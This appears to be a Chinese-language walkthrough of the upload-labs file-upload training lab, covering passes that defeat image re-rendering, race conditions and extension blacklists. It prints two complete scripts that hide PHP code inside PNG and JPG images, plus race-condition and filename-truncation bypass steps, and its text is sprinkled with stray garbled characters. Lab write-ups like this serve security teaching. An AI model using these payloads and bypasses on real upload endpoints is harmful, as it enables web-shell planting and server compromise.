用UE的比較功能运提,可以迅速找到兩者匹配的地方。在匹配處寫(xiě)入php代碼即可闻葵。
png
png和jpg當(dāng)然沒(méi)有g(shù)if這么簡(jiǎn)單民泵。這里我也不細(xì)分析了(分析不來(lái)~~)
直接記個(gè)方法,將php代碼寫(xiě)入IDAT數(shù)據(jù)塊。
用國(guó)外大牛的腳本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
直接運(yùn)行該腳本生成1.png上傳即可槽畔,生成的1.png如下圖
jpg
jpg也是用國(guó)外大牛腳本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法:
- 先將一張正常的jpg圖片上傳栈妆,上傳后將服務(wù)器存儲(chǔ)的二次渲染的圖片保存下來(lái)。
- 將保存下來(lái)經(jīng)過(guò)服務(wù)器二次渲染的那張jpg圖片厢钧,用此腳本進(jìn)行處理生成payload.jpg
- 然后再上傳payload.jpg
上面順序注意一下鳞尔,如果不成功的話,多換幾張的jpg試試
Pass-17 條件競(jìng)爭(zhēng)
代碼分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允許上傳.jpg|.png|.gif類型文件早直!";
unlink($upload_file);
}
}else{
$msg = '上傳出錯(cuò)寥假!';
}
}
不難發(fā)現(xiàn),這里是先move_uploaded_file函數(shù)將上傳文件臨時(shí)保存霞扬,再進(jìn)行判斷糕韧,如果不在白名單里則unlink刪除,在的話就rename重命名祥得,所以這里存在條件競(jìng)爭(zhēng)兔沃。
繞過(guò)方法
用burp開(kāi)啟兩個(gè)intruder模塊,一個(gè)用于重復(fù)上傳级及,另一個(gè)用于重復(fù)訪問(wèn)。
1额衙、先設(shè)置上傳請(qǐng)求,記住此處的文件名饮焦,等下要用來(lái)拼接訪問(wèn)請(qǐng)求的url
2、因?yàn)榇颂帥](méi)有什么參數(shù)需要爆破窍侧,只是需要重復(fù)發(fā)起請(qǐng)求县踢,所以payload設(shè)置為Null payloads,設(shè)置訪問(wèn)次數(shù)5000次,線程50個(gè)
接下來(lái)設(shè)置訪問(wèn)請(qǐng)求
1伟件、瀏覽器構(gòu)造請(qǐng)求url:http://127.0.0.1/upload-labs-master/upload/miracle778.php
,進(jìn)行訪問(wèn)硼啤,然后用burp抓包
2、burp抓包后發(fā)送至intruder模塊斧账,然后設(shè)置payload谴返,這一步和上傳請(qǐng)求設(shè)置差不多,都是Null payloads、5000次咧织、50個(gè)線程
設(shè)置好兩個(gè)模塊后同時(shí)啟動(dòng)嗓袱,觀察結(jié)果,因?yàn)槲覀儌魅氲膒hp代碼是phpinfo();
,所以如果訪問(wèn)成功的話习绢,會(huì)返回php的配置信息渠抹。
可以看到蝙昙,5000次里有3次訪問(wèn)成功,剩下的訪問(wèn)次數(shù)里梧却,有小部分是狀態(tài)碼返回200奇颠,但執(zhí)行出錯(cuò)
剩下大部分訪問(wèn)結(jié)果是狀態(tài)碼是404。
由此可得出結(jié)論放航,條件競(jìng)爭(zhēng)繞過(guò)存在一定概率大刊,實(shí)踐中如果一次不成功,可以多試幾次三椿。
Pass-18 條件競(jìng)爭(zhēng)
代碼分析
這里代碼太長(zhǎng)缺菌,就不貼了,簡(jiǎn)單截個(gè)圖
可以看到搜锰,這里先將上傳的文件保存(move函數(shù))伴郁,再rename重命名一下。所以也存在條件競(jìng)爭(zhēng)蛋叼,繞過(guò)方法和上面Pass-17差不多焊傅,這里就不重復(fù)寫(xiě)了。
繞過(guò)方法
參照Pass-17
Pass-19 ./繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上傳出錯(cuò)狈涮!';
}
}else{
$msg = '禁止保存為該類型文件狐胎!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
}
}
這里關(guān)于pathinfo的說(shuō)明如下圖
可以看到歌馍,這里img_path可控(通過(guò)post sava_name)握巢,所以可以利用move_uploaded_file的\x00截?cái)?save_name=1.php%00.jpg)繞過(guò),但\x00截?cái)嘀瓣P(guān)卡已經(jīng)出現(xiàn)過(guò)了,這里明顯是考察別的知識(shí)點(diǎn)松却。
于是網(wǎng)上找找別人的答案暴浦,發(fā)現(xiàn)考點(diǎn)是:move_uploaded_file會(huì)忽略掉文件末尾的/.
所以可以構(gòu)造save_path=1.php/.,這樣file_ext值就為空,就能繞過(guò)黑名單晓锻,而move_uploaded_file函數(shù)忽略文件末尾的/.可以實(shí)現(xiàn)保存文件為.php
繞過(guò)方法
- post: save_name = 1.php%00.jpg
- post: save_name = 1.php/.
Pass-20 數(shù)組/.繞過(guò)
代碼分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//檢查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上傳該類型文件!";
}else{
//檢查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上傳該后綴文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上傳成功歌焦!";
$is_upload = true;
} else {
$msg = "文件上傳失敗砚哆!";
}
}
}
}else{
$msg = "請(qǐng)選擇要上傳的文件独撇!";
}
可以看到,上面第6行先進(jìn)行了一個(gè)Content-Type判斷躁锁,10-13行纷铣,如果save_name是字符串的話就通過(guò)explode函數(shù),將post進(jìn)去的save_name轉(zhuǎn)成小寫(xiě)后按'.'打散成數(shù)組灿里。而15-20行里的file) . '.' . file) - 1];處理关炼,而$file[count($file)-1]和end($file)是相等的,也就是說(shuō)匣吊,如果save_name是字符串形式傳入的話儒拂,想要繞過(guò)白名單話寸潦,file_name必為gif、png社痛、jpg见转,無(wú)法達(dá)到上傳php的目的。 所以save_name不能以字符串形式傳入蒜哀。而應(yīng)該以數(shù)組形式傳入算行,從而繞過(guò)explode過(guò)程进泼,構(gòu)建特殊數(shù)組崎弃,使得end($file)能繞過(guò)白名單惶桐,而$file[count($file) - 1]不等于jpg或png或gif。這里可以構(gòu)造
save_name[0] = 1.php/,save_name[2] = jpg`,這樣的話end($file)為jpg淀歇,而$file[count($file) - 1]為$file[1]為空易核。所以最終file_name=1.php/.,到這里就跟Pass-19一樣了。
繞過(guò)方法
如圖
小小總結(jié)
這個(gè)20關(guān)做下來(lái)浪默,感覺(jué)大多數(shù)文件上傳類型都講到了牡直。這個(gè)項(xiàng)目官方github上面也有一張總結(jié)圖,感覺(jué)挺到位纳决,就拿過(guò)來(lái)好了碰逸。